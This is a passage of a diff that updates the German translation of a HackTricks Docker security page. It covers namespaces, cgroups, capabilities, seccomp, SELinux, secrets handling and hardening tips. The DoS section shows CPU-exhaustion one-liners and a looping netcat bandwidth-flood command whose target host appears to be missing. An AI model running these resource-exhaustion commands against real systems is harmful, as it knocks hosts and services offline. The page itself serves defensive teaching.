unterschiedliche Ressourcen. Ressourcen können in mehreren Spaces existieren. +**Namespaces** sind ein Feature des Linux-Kernels, das **Kernelressourcen partitioniert**, sodass eine Gruppe von **Prozessen** einen Satz von **Ressourcen sieht**, während eine **andere** Gruppe von **Prozessen** einen **anderen** Satz von Ressourcen sieht. Das Feature funktioniert, indem für einen Satz von Ressourcen und Prozessen der gleiche Namespace vorhanden ist, aber diese Namespaces beziehen sich auf unterschiedliche Ressourcen. Ressourcen können in mehreren Bereichen existieren. Docker verwendet die folgenden Linux-Kernel-Namespaces, um die Isolierung von Containern zu erreichen: @@ -170,7 +173,7 @@ Docker verwendet die folgenden Linux-Kernel-Namespaces, um die Isolierung von Co * ipc-Namespace * UTS-Namespace -Für **weitere Informationen zu den Namespaces** siehe die folgende Seite: +Für **weitere Informationen zu den Namespaces** besuchen Sie die folgende Seite: {% content-ref url="namespaces/" %} [namespaces](namespaces/) @@ -178,12 +181,12 @@ Für **weitere Informationen zu den Namespaces** siehe die folgende Seite: ### cgroups -Das Linux-Kernel-Feature **cgroups** bietet die Möglichkeit, Ressourcen wie CPU, Speicher, IO und Netzwerkbandbreite für eine Gruppe von Prozessen einzuschränken. Docker ermöglicht die Erstellung von Containern mit der cgroup-Funktion, die eine Ressourcenkontrolle für den spezifischen Container ermöglicht.\ -Im Folgenden wird ein Container erstellt, bei dem der Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB, der CPU-Anteil auf 512 und das blkio-Gewicht auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Es hat einen Standardwert von 1024 und einen Bereich zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33% der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und einen Bereich zwischen 10 und 1000. +Das Linux-Kernel-Feature **cgroups** bietet die Möglichkeit, Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite unter einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung des cgroup-Features, das eine Ressourcensteuerung für den spezifischen Container ermöglicht.\ +Im Folgenden wird ein Container erstellt, dessen Benutzerspeicher auf 500 MB begrenzt ist, der Kernelspeicher auf 50 MB begrenzt ist, der CPU-Anteil auf 512, und das Blkioweight auf 400. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und liegt zwischen 0 und 1024. Wenn drei Container den gleichen CPU-Anteil von 1024 haben, kann jeder Container bei CPU-Ressourcenkonflikten bis zu 33 % der CPU nutzen. blkio-weight ist ein Verhältnis, das die IO des Containers steuert. Es hat einen Standardwert von 500 und liegt zwischen 10 und 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` -Um den cgroup eines Containers zu erhalten, können Sie Folgendes tun: +Um die cgroup eines Containers zu erhalten, können Sie Folgendes tun: ```bash docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian container ps -ef | grep 1234 #Get info about the sleep process @@ -197,9 +200,9 @@ Für weitere Informationen siehe: ### Berechtigungen -Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Fähigkeiten-Feature, um die Operationen, die innerhalb eines Containers durchgeführt werden können, unabhängig von der Art des Benutzers, einzuschränken. +Berechtigungen ermöglichen eine genauere Kontrolle über die Berechtigungen, die für den Root-Benutzer zugelassen werden können. Docker verwendet das Linux-Kernel-Berechtigungsmerkmal, um die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können, unabhängig vom Typ des Benutzers. -Wenn ein Docker-Container ausgeführt wird, werden die sensiblen Berechtigungen, die der Prozess verwenden könnte, um aus der Isolation auszubrechen, verworfen. Dadurch wird sichergestellt, dass der Prozess keine sensiblen Aktionen durchführen und ausbrechen kann: +Wenn ein Docker-Container ausgeführt wird, verwirft der Prozess sensible Berechtigungen, die der Prozess verwenden könnte, um aus der Isolation auszubrechen. Dies soll sicherstellen, dass der Prozess keine sensiblen Aktionen ausführen und ausbrechen kann: {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -207,7 +210,7 @@ Wenn ein Docker-Container ausgeführt wird, werden die sensiblen Berechtigungen, ### Seccomp in Docker -Dies ist eine Sicherheitsfunktion, die Docker ermöglicht, die Systemaufrufe einzuschränken, die innerhalb des Containers verwendet werden können: +Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, die Systemaufrufe zu begrenzen, die innerhalb des Containers verwendet werden können: {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) @@ -215,7 +218,7 @@ Dies ist eine Sicherheitsfunktion, die Docker ermöglicht, die Systemaufrufe ein ### AppArmor in Docker -AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von Ressourcen mit pro-Programm-Profilen einzuschränken: +AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von Ressourcen mit pro-Programmprofilen zu beschränken: {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) @@ -223,13 +226,13 @@ AppArmor ist eine Kernel-Erweiterung, um Container auf eine begrenzte Menge von ### SELinux in Docker -- **Labeling-System**: SELinux weist jedem Prozess und jedem Dateisystemobjekt ein eindeutiges Label zu. -- **Policy Enforcement**: Es setzt Sicherheitsrichtlinien durch, die festlegen, welche Aktionen ein Prozesslabel auf andere Labels im System ausführen kann. -- **Container-Prozess-Labels**: Wenn Container-Engines Container-Prozesse starten, erhalten sie in der Regel ein eingeschränktes SELinux-Label, üblicherweise `container_t`. -- **Datei-Labeling innerhalb von Containern**: Dateien innerhalb des Containers werden normalerweise als `container_file_t` gekennzeichnet. -- **Richtlinienregeln**: Die SELinux-Richtlinie stellt in erster Linie sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren (lesen, schreiben, ausführen) können, die als `container_file_t` gekennzeichnet sind. +* **Beschriftungssystem**: SELinux weist jedem Prozess und Dateisystemobjekt ein eindeutiges Label zu. +* **Richtliniendurchsetzung**: Es setzt Sicherheitsrichtlinien durch, die definieren, welche Aktionen ein Prozesslabel auf andere Labels im System ausführen kann. +* **Container-Prozesslabels**: Wenn Container-Engines Containerprozesse initiieren, werden ihnen in der Regel eingeschränkte SELinux-Labels zugewiesen, üblicherweise `container_t`. +* **Dateibeschriftung innerhalb von Containern**: Dateien innerhalb des Containers sind normalerweise als `container_file_t` gekennzeichnet. +* **Richtlinienregeln**: Die SELinux-Richtlinie stellt hauptsächlich sicher, dass Prozesse mit dem Label `container_t` nur mit Dateien interagieren (lesen, schreiben, ausführen) können, die als `container_file_t` gekennzeichnet sind. -Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines Containers kompromittiert ist, er nur mit Objekten interagieren kann, die die entsprechenden Labels haben, und begrenzt somit den potenziellen Schaden solcher Kompromittierungen erheblich. +Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines Containers kompromittiert ist, er nur mit Objekten interagieren kann, die über die entsprechenden Labels verfügen, was das potenzielle Schadensausmaß solcher Kompromittierungen erheblich einschränkt. {% content-ref url="../selinux.md" %} [selinux.md](../selinux.md) @@ -237,12 +240,12 @@ Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines C ### AuthZ & AuthN -In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es darüber entscheidet, ob Anfragen an den Docker-Daemon zugelassen oder blockiert werden. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen: +In Docker spielt ein Autorisierungsplugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Daemon zugelassen oder blockiert werden sollen. Diese Entscheidung wird durch die Prüfung von zwei Schlüsselkontexten getroffen: -- **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie z.B. wer sie sind und wie sie sich authentifiziert haben. -- **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen. +* **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie z.B. wer sie sind und wie sie sich authentifiziert haben. +* **Befehlskontext**: Dies umfasst alle relevanten Daten, die mit der gestellten Anfrage zusammenhängen. -Diese Kontexte gewährleisten, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht. +Diese Kontexte helfen sicherzustellen, dass nur legitime Anfragen von authentifizierten Benutzern verarbeitet werden, was die Sicherheit der Docker-Operationen erhöht. {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -250,7 +253,7 @@ Diese Kontexte gewährleisten, dass nur legitime Anfragen von authentifizierten ## DoS aus einem Container -Wenn Sie die Ressourcen, die ein Container verwenden kann, nicht ordnungsgemäß begrenzen, kann ein kompromittierter Container den Host, auf dem er ausgeführt wird, DoS (Denial of Service) verursachen. +Wenn Sie die Ressourcen, die ein Container verwenden kann, nicht ordnungsgemäß begrenzen, könnte ein kompromittierter Container den Host, auf dem er läuft, DoS-angreifen. * CPU-DoS ```bash @@ -260,21 +263,15 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t # While loop docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done' ``` -*Bandbreiten-DoS* - -Ein Bandbreiten-DoS (Denial-of-Service) ist eine Art von Angriff, bei dem ein Angreifer versucht, die verfügbare Bandbreite eines Netzwerks oder einer bestimmten Verbindung zu überlasten, um den normalen Datenverkehr zu blockieren oder zu verlangsamen. Dies kann durch das Senden einer großen Anzahl von Datenpaketen oder das Ausnutzen von Schwachstellen in der Netzwerkinfrastruktur erreicht werden. - -Ein Bandbreiten-DoS-Angriff kann schwerwiegende Auswirkungen haben, da er dazu führen kann, dass legitimer Datenverkehr nicht mehr durchkommt und Dienste oder Systeme nicht mehr erreichbar sind. Um sich vor einem solchen Angriff zu schützen, sollten Netzwerkadministratoren geeignete Sicherheitsmaßnahmen ergreifen, wie z.B. die Überwachung des Netzwerkverkehrs, die Begrenzung der Bandbreite für bestimmte Verbindungen und die Implementierung von Firewalls und Intrusion Detection Systemen. - -Es ist auch wichtig, regelmäßig Sicherheitsupdates für die Netzwerkinfrastruktur durchzuführen, um bekannte Schwachstellen zu beheben und potenzielle Angriffsvektoren zu minimieren. Darüber hinaus können Netzwerkadministratoren den Datenverkehr überwachen und verdächtige Aktivitäten erkennen, um schnell auf einen Bandbreiten-DoS-Angriff reagieren zu können. +* Bandbreiten-DoS ```bash nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc 4444; done ``` ## Interessante Docker-Flags -### --privileged-Flag +### --privileged Flag -Auf der folgenden Seite können Sie erfahren, **was das `--privileged`-Flag bedeutet**: +Auf der folgenden Seite können Sie lernen, **was das `--privileged`-Flag bedeutet**: {% content-ref url="docker-privileged.md" %} [docker-privileged.md](docker-privileged.md) @@ -284,9 +281,9 @@ Auf der folgenden Seite können Sie erfahren, **was das `--privileged`-Flag bede #### no-new-privileges -Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Privilegien erhält. Wenn Sie eine **fehlerhaft konfigurierte SUID-Binärdatei** haben, kann der Angreifer diese missbrauchen und **Privilegien innerhalb** des Containers eskalieren. Dadurch kann er möglicherweise daraus entkommen. +Wenn Sie einen Container ausführen, in dem ein Angreifer Zugriff als Benutzer mit niedrigen Berechtigungen erhält. Wenn Sie eine **falsch konfigurierte suid-Binärdatei** haben, kann der Angreifer sie missbrauchen und **Berechtigungen innerhalb** des Containers **eskaliert**, was es ihm ermöglichen könnte, daraus zu entkommen. -Das Ausführen des Containers mit der aktivierten Option **`no-new-privileges`** wird **diese Art der Privilegieneskalation verhindern**. +Das Ausführen des Containers mit der Option **`no-new-privileges`** aktiviert verhindert diese Art von Berechtigungserweiterung. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` @@ -305,29 +302,29 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv # You can manually disable selinux in docker with --security-opt label:disable ``` -Für weitere **`--security-opt`**-Optionen siehe: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) +Für weitere **`--security-opt`** Optionen siehe: [https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration) ## Weitere Sicherheitsüberlegungen ### Verwaltung von Geheimnissen: Best Practices -Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden sensible Informationen für jeden freigeben, der über Befehle wie `docker inspect` oder `exec` auf den Container zugreifen kann. +Es ist entscheidend, Geheimnisse nicht direkt in Docker-Images einzubetten oder Umgebungsvariablen zu verwenden, da diese Methoden Ihre sensiblen Informationen für jeden freigeben, der über Befehle wie `docker inspect` oder `exec` Zugriff auf den Container hat. -**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, um die Risiken von `docker inspect` und Logging zu verringern. Allerdings können Root-Benutzer und solche mit `exec`-Zugriff auf den Container immer noch auf die Geheimnisse zugreifen. +**Docker-Volumes** sind eine sicherere Alternative, die empfohlen wird, um auf sensible Informationen zuzugreifen. Sie können als temporäres Dateisystem im Speicher genutzt werden, um die Risiken im Zusammenhang mit `docker inspect` und Logging zu mindern. Allerdings können Root-Benutzer und solche mit `exec`-Zugriff auf den Container immer noch auf die Geheimnisse zugreifen. -**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse benötigt werden, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Build-Zeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bieten. +**Docker-Secrets** bieten eine noch sicherere Methode zur Handhabung sensibler Informationen. Für Fälle, in denen während der Image-Build-Phase Geheimnisse erforderlich sind, bietet **BuildKit** eine effiziente Lösung mit Unterstützung für Buildzeit-Geheimnisse, die die Build-Geschwindigkeit verbessern und zusätzliche Funktionen bereitstellen. Um BuildKit zu nutzen, kann es auf drei Arten aktiviert werden: 1. Über eine Umgebungsvariable: `export DOCKER_BUILDKIT=1` 2. Durch Voranstellen von Befehlen: `DOCKER_BUILDKIT=1 docker build .` -3. Durch Aktivieren als Standard in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Neustart von Docker. +3. Durch die Aktivierung als Standard in der Docker-Konfiguration: `{ "features": { "buildkit": true } }`, gefolgt von einem Neustart von Docker. -BuildKit ermöglicht die Verwendung von Build-Zeit-Geheimnissen mit der `--secret`-Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind. Verwenden Sie dazu einen Befehl wie: +BuildKit ermöglicht die Verwendung von Buildzeit-Geheimnissen mit der `--secret` Option, um sicherzustellen, dass diese Geheimnisse nicht im Image-Build-Cache oder im endgültigen Image enthalten sind, unter Verwendung eines Befehls wie: ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Für in einem laufenden Container benötigte Geheimnisse bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition, um geheime Dateien anzugeben, wie im folgenden Beispiel einer `docker-compose.yml`-Datei gezeigt: +Für benötigte Geheimnisse in einem laufenden Container bieten **Docker Compose und Kubernetes** robuste Lösungen. Docker Compose verwendet einen `secrets`-Schlüssel in der Service-Definition zur Angabe von Geheimdateien, wie im folgenden Beispiel einer `docker-compose.yml` gezeigt: ```yaml version: "3.7" services: @@ -342,48 +339,48 @@ file: ./my_secret_file.txt ``` Diese Konfiguration ermöglicht die Verwendung von Secrets beim Starten von Diensten mit Docker Compose. -In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools wie [Helm-Secrets](https://github.com/futuresimple/helm-secrets) weiter verwaltet werden. Die Role Based Access Controls (RBAC) von Kubernetes verbessern die Sicherheit der Secret-Verwaltung, ähnlich wie bei Docker Enterprise. +In Kubernetes-Umgebungen werden Secrets nativ unterstützt und können mit Tools wie [Helm-Secrets](https://github.com/futuresimple/helm-secrets) weiter verwaltet werden. Die rollenbasierte Zugriffskontrolle (RBAC) von Kubernetes verbessert die Sicherheit des Secret-Managements, ähnlich wie bei Docker Enterprise. ### gVisor -**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Er enthält eine [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitumgebung namens `runsc`, die eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeitumgebung integriert sich nahtlos mit Docker und Kubernetes, sodass es einfach ist, Sandbox-Container auszuführen. +**gVisor** ist ein Anwendungskernel, der in Go geschrieben ist und einen erheblichen Teil der Linux-Systemoberfläche implementiert. Es enthält einen [Open Container Initiative (OCI)](https://www.opencontainers.org)-Laufzeitnamens `runsc`, der eine **Isolierungsgrenze zwischen der Anwendung und dem Host-Kernel** bereitstellt. Die `runsc`-Laufzeit integriert sich mit Docker und Kubernetes und macht es einfach, Sandbox-Container auszuführen. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Laufzeitumgebung mit leichten virtuellen Maschinen zu entwickeln, die sich wie Container anfühlen und verhalten, aber durch die Verwendung von Hardware-Virtualisierungstechnologie eine **stärkere Workload-Isolierung** als zweite Verteidigungsebene bieten. +**Kata Containers** ist eine Open-Source-Community, die daran arbeitet, eine sichere Container-Laufzeitumgebung mit leichten virtuellen Maschinen zu erstellen, die sich wie Container anfühlen und verhalten, aber eine **stärkere Workload-Isolierung unter Verwendung der Hardware-Virtualisierung** als zweite Verteidigungsebene bieten. {% embed url="https://katacontainers.io/" %} -### Zusammenfassung und Tipps +### Zusammenfassung der Tipps -* Verwenden Sie nicht die `--privileged`-Flagge oder mounten Sie nicht einen [Docker-Socket innerhalb des Containers](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu erlangen, z.B. durch das Ausführen eines anderen Containers mit der `--privileged`-Flagge. -* Führen Sie im Container nicht als Root aus. Verwenden Sie einen [anderen Benutzer](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) und [Benutzernamensräume](https://docs.docker.com/engine/security/userns-remap/). Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen umgeleitet. Er ist nur leicht eingeschränkt durch Linux-Namespaces, Fähigkeiten und cgroups. -* [Deaktivieren Sie alle Fähigkeiten](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die benötigt werden (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen von Fähigkeiten erhöht den Umfang eines potenziellen Angriffs. -* Verwenden Sie die Sicherheitsoption "no-new-privileges", um zu verhindern, dass Prozesse weitere Privilegien erlangen, z.B. durch suid-Binärdateien. -* Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen. Ressourcenbeschränkungen können die Maschine vor Denial-of-Service-Angriffen schützen. -* Passen Sie die Profile von [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) (oder SELinux) an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das Minimum zu beschränken. -* Verwenden Sie offizielle Docker-Images und verlangen Sie Signaturen oder erstellen Sie eigene Images basierend auf ihnen. Vererben oder verwenden Sie keine [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)-Images. Speichern Sie auch Root-Schlüssel und Passphrase an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten. -* Erstellen Sie regelmäßig Ihre Images neu, um Sicherheitspatches auf den Host und die Images anzuwenden. -* Verwalten Sie Ihre Secrets sorgfältig, damit es für den Angreifer schwierig ist, darauf zuzugreifen. +* Verwenden Sie nicht das `--privileged`-Flag oder binden Sie einen **Docker-Socket innerhalb des Containers** ein. Der Docker-Socket ermöglicht das Starten von Containern und ist daher ein einfacher Weg, um die volle Kontrolle über den Host zu übernehmen, beispielsweise durch Ausführen eines anderen Containers mit dem `--privileged`-Flag. +* Führen Sie nicht als Root innerhalb des Containers aus. Verwenden Sie einen **anderen Benutzer** und **Benutzernamensräume**. Der Root im Container ist derselbe wie auf dem Host, es sei denn, er wird mit Benutzernamensräumen neu zugeordnet. Er wird nur leicht durch hauptsächlich Linux-Namespaces, Fähigkeiten und cgroups eingeschränkt. +* **Verwerfen Sie alle Fähigkeiten** (`--cap-drop=all`) und aktivieren Sie nur diejenigen, die erforderlich sind (`--cap-add=...`). Viele Workloads benötigen keine Fähigkeiten, und das Hinzufügen von ihnen erhöht den Umfang eines potenziellen Angriffs. +* Verwenden Sie die Sicherheitsoption **"no-new-privileges"**, um zu verhindern, dass Prozesse mehr Berechtigungen erlangen, beispielsweise durch suid-Binärdateien. +* **Begrenzen Sie die Ressourcen, die dem Container zur Verfügung stehen**. Ressourcenbeschränkungen können die Maschine vor Denial-of-Service-Angriffen schützen. +* Passen Sie die **seccomp**, **AppArmor** (oder SELinux)-Profile an, um die Aktionen und Systemaufrufe, die für den Container verfügbar sind, auf das erforderliche Minimum zu beschränken. +* Verwenden Sie **offizielle Docker-Images** und verlangen Sie Signaturen oder erstellen Sie Ihre eigenen darauf basierend. Vererben oder verwenden Sie keine mit Hintertüren versehenen Images. Speichern Sie auch Root-Schlüssel und Passphrasen an einem sicheren Ort. Docker plant, Schlüssel mit UCP zu verwalten. +* **Erstellen Sie regelmäßig** Ihre Images neu, um **Sicherheitspatches auf dem Host und den Images anzuwenden**. +* Verwalten Sie Ihre **Secrets klug**, damit es für den Angreifer schwierig ist, darauf zuzugreifen. * Wenn Sie den Docker-Daemon freigeben, verwenden Sie HTTPS mit Client- und Serverauthentifizierung. -* Verwenden Sie in Ihrem Dockerfile bevorzugt COPY anstelle von ADD. ADD entpackt automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY hat diese Funktionen nicht. Vermeiden Sie es, ADD zu verwenden, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein. -* Verwenden Sie separate Container für jeden Mikrodienst. -* Fügen Sie kein SSH in den Container ein. "docker exec" kann verwendet werden, um eine SSH-Verbindung zum Container herzustellen. -* Verwenden Sie kleinere Container-Images. +* Verwenden Sie in Ihrem Dockerfile **COPY anstelle von ADD**. ADD extrahiert automatisch komprimierte Dateien und kann Dateien von URLs kopieren. COPY verfügt nicht über diese Funktionen. Vermeiden Sie nach Möglichkeit die Verwendung von ADD, um nicht anfällig für Angriffe über Remote-URLs und Zip-Dateien zu sein. +* Verwenden Sie **getrennte Container für jeden Mikrodienst**. +* **Fügen Sie kein SSH** in den Container ein, "docker exec" kann verwendet werden, um eine SSH-Verbindung zum Container herzustellen. +* Verwenden Sie **kleinere** Container-Images. -## Docker Breakout / Privilege Escalation +## Docker Ausbruch / Privilege Escalation -Wenn Sie sich **innerhalb eines Docker-Containers** befinden oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, können Sie versuchen, auszubrechen und Privilegien zu eskalieren: +Wenn Sie **innerhalb eines Docker-Containers** sind oder Zugriff auf einen Benutzer in der **Docker-Gruppe** haben, könnten Sie versuchen, **auszubrechen und Berechtigungen zu eskalieren**: {% content-ref url="docker-breakout-privilege-escalation/" %} [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) {% endcontent-ref %} -## Docker Authentication Plugin Bypass +## Docker-Authentifizierungsplugin-Umgehung -Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe haben, aber Ihre Aktionen durch ein Docker-Authentifizierungsplugin eingeschränkt sind**, überprüfen Sie, ob Sie es umgehen können: +Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in der **Docker-Gruppe haben, aber Ihre Aktionen durch ein Docker-Authentifizierungsplugin eingeschränkt sind**, überprüfen Sie, ob Sie es **umgehen können**: {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -391,8 +388,8 @@ Wenn Sie Zugriff auf den Docker-Socket haben oder Zugriff auf einen Benutzer in ## Absicherung von Docker -* Das Tool [docker-bench-security](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende von gängigen Best Practices für die Bereitstellung von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ -Sie müssen das Tool auf dem Host ausführen, auf dem Docker läuft, oder in einem Container mit ausreichenden Berechtigungen. Erfahren Sie **in der README**, wie Sie es ausführen: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +* Das Tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) ist ein Skript, das Dutzende gängiger Best Practices für das Bereitstellen von Docker-Containern in der Produktion überprüft. Die Tests sind alle automatisiert und basieren auf dem [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ +Sie müssen das Tool auf dem Host ausführen, auf dem Docker ausgeführt wird, oder in einem Container mit ausreichenden Berechtigungen. Erfahren Sie, **wie Sie es in der README ausführen können:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Referenzen @@ -404,13 +401,29 @@ Sie müssen das Tool auf dem Host ausführen, auf dem Docker läuft, oder in ein * [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) * [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/) * [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces) -* -Andere Möglichkeiten, HackTricks zu unterstützen: +* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) +* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +* [https://docs.docker.com/engine/extend/plugins\_authorization](https://docs.docker.com/engine/extend/plugins\_authorization) +* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) +* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -* Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)! -* Holen Sie sich das [offizielle PEASS & HackTricks-Merchandise](https://peass.creator-spring.com) -* Entdecken Sie [The PEASS Family](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [NFTs](https://opensea.io/collection/the-peass-family) -* Treten Sie der 💬 [Discord-Gruppe](https://discord.gg/hRep4RUj7f) oder der [Telegram-Gruppe](https://t.me/peass) bei oder folgen Sie uns auf Twitter 🐦 [@carlospolopm](https://twitter.com/hacktricks_live). -* Teilen Sie Ihre Hacking-Tricks, indem Sie Pull Requests an die GitHub-Repositories [HackTricks](https://github.com/carlospolop/hacktricks) und [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) senden. +
+ +\ +Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu automatisieren, die von den weltweit **fortschrittlichsten Community-Tools** unterstützt werden.\ +Erhalten Sie noch heute Zugriff: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +
+ +Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! +Andere Möglichkeiten, um HackTricks zu unterstützen: + +* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! +* Holen Sie sich das [**offizielle PEASS & HackTricks Merch**](https://peass.creator-spring.com) +* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
